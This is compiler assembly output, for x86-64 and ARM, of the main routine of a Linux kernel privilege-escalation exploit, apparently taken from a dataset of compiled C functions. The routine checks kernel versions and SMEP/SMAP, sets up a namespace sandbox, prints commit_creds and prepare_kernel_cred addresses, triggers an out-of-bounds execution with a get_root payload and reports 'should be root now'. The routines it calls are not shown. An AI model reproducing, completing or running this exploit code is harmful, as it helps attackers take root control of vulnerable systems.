	.file	"extr_43418.c_main.c"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	"[.] starting"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC1:
	.string	"[.] checking distro and kernel versions"
	.section	.rodata.str1.1
.LC2:
	.string	"[~] done, versions looks good"
.LC3:
	.string	"[.] checking SMEP and SMAP"
.LC4:
	.string	"[~] done, looks good"
	.section	.rodata.str1.8
	.align 8
.LC5:
	.string	"[.] setting up namespace sandbox"
	.align 8
.LC6:
	.string	"[~] done, namespace sandbox set up"
	.section	.rodata.str1.1
.LC7:
	.string	"[.] commit_creds:        %lx\n"
.LC8:
	.string	"[.] prepare_kernel_cred: %lx\n"
.LC9:
	.string	"[.] executing payload %lx\n"
.LC10:
	.string	"[~] done, should be root now"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB0:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	lea	rdi, .LC0[rip]
	lea	rbp, get_root[rip]
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	xor	eax, eax
	call	detect_versions@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	xor	eax, eax
	call	check_smep_smap@PLT
	lea	rdi, .LC4[rip]
	call	puts@PLT
	lea	rdi, .LC5[rip]
	call	puts@PLT
	xor	eax, eax
	call	setup_sandbox@PLT
	lea	rdi, .LC6[rip]
	call	puts@PLT
	mov	esi, DWORD PTR COMMIT_CREDS[rip]
	lea	rdi, .LC7[rip]
	xor	eax, eax
	call	printf@PLT
	mov	esi, DWORD PTR PREPARE_KERNEL_CRED[rip]
	lea	rdi, .LC8[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rsi, rbp
	lea	rdi, .LC9[rip]
	xor	eax, eax
	call	printf@PLT
	mov	rdi, rbp
	call	oob_execute@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	xor	eax, eax
	call	check_root@PLT
	xor	eax, eax
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
	.cfi_endproc
.LFE0:
	.size	main, .-main
	.comm	get_root,4,4
	.comm	XCHG_EAX_ESP_RET,8,8
	.comm	PREPARE_KERNEL_CRED,4,4
	.comm	KERNEL_BASE,4,4
	.comm	COMMIT_CREDS,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 2
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"extr_43418.c_main.c"
	.text
	.section	.rodata.str1.4,"aMS",%progbits,1
	.align	2
.LC0:
	.ascii	"[.] starting\000"
	.align	2
.LC1:
	.ascii	"[.] checking distro and kernel versions\000"
	.align	2
.LC2:
	.ascii	"[~] done, versions looks good\000"
	.align	2
.LC3:
	.ascii	"[.] checking SMEP and SMAP\000"
	.align	2
.LC4:
	.ascii	"[~] done, looks good\000"
	.align	2
.LC5:
	.ascii	"[.] setting up namespace sandbox\000"
	.align	2
.LC6:
	.ascii	"[~] done, namespace sandbox set up\000"
	.align	2
.LC7:
	.ascii	"[.] commit_creds:        %lx\012\000"
	.align	2
.LC8:
	.ascii	"[.] prepare_kernel_cred: %lx\012\000"
	.align	2
.LC9:
	.ascii	"[.] executing payload %lx\012\000"
	.align	2
.LC10:
	.ascii	"[~] done, should be root now\000"
	.section	.text.startup,"ax",%progbits
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 0, uses_anonymous_args = 0
	push	{r4, lr}
	ldr	r0, .L4
	bl	puts
	ldr	r0, .L4+4
	bl	puts
	bl	detect_versions
	ldr	r0, .L4+8
	bl	puts
	ldr	r0, .L4+12
	bl	puts
	bl	check_smep_smap
	ldr	r0, .L4+16
	bl	puts
	ldr	r0, .L4+20
	bl	puts
	bl	setup_sandbox
	ldr	r0, .L4+24
	bl	puts
	ldr	r3, .L4+28
	ldr	r0, .L4+32
	ldr	r1, [r3]
	bl	printf
	ldr	r3, .L4+36
	ldr	r4, .L4+40
	ldr	r1, [r3]
	ldr	r0, .L4+44
	bl	printf
	mov	r1, r4
	ldr	r0, .L4+48
	bl	printf
	mov	r0, r4
	bl	oob_execute
	ldr	r0, .L4+52
	bl	puts
	bl	check_root
	mov	r0, #0
	pop	{r4, pc}
.L5:
	.align	2
.L4:
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	COMMIT_CREDS
	.word	.LC7
	.word	PREPARE_KERNEL_CRED
	.word	get_root
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.size	main, .-main
	.comm	get_root,4,4
	.comm	XCHG_EAX_ESP_RET,4,4
	.comm	PREPARE_KERNEL_CRED,4,4
	.comm	KERNEL_BASE,4,4
	.comm	COMMIT_CREDS,4,4
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
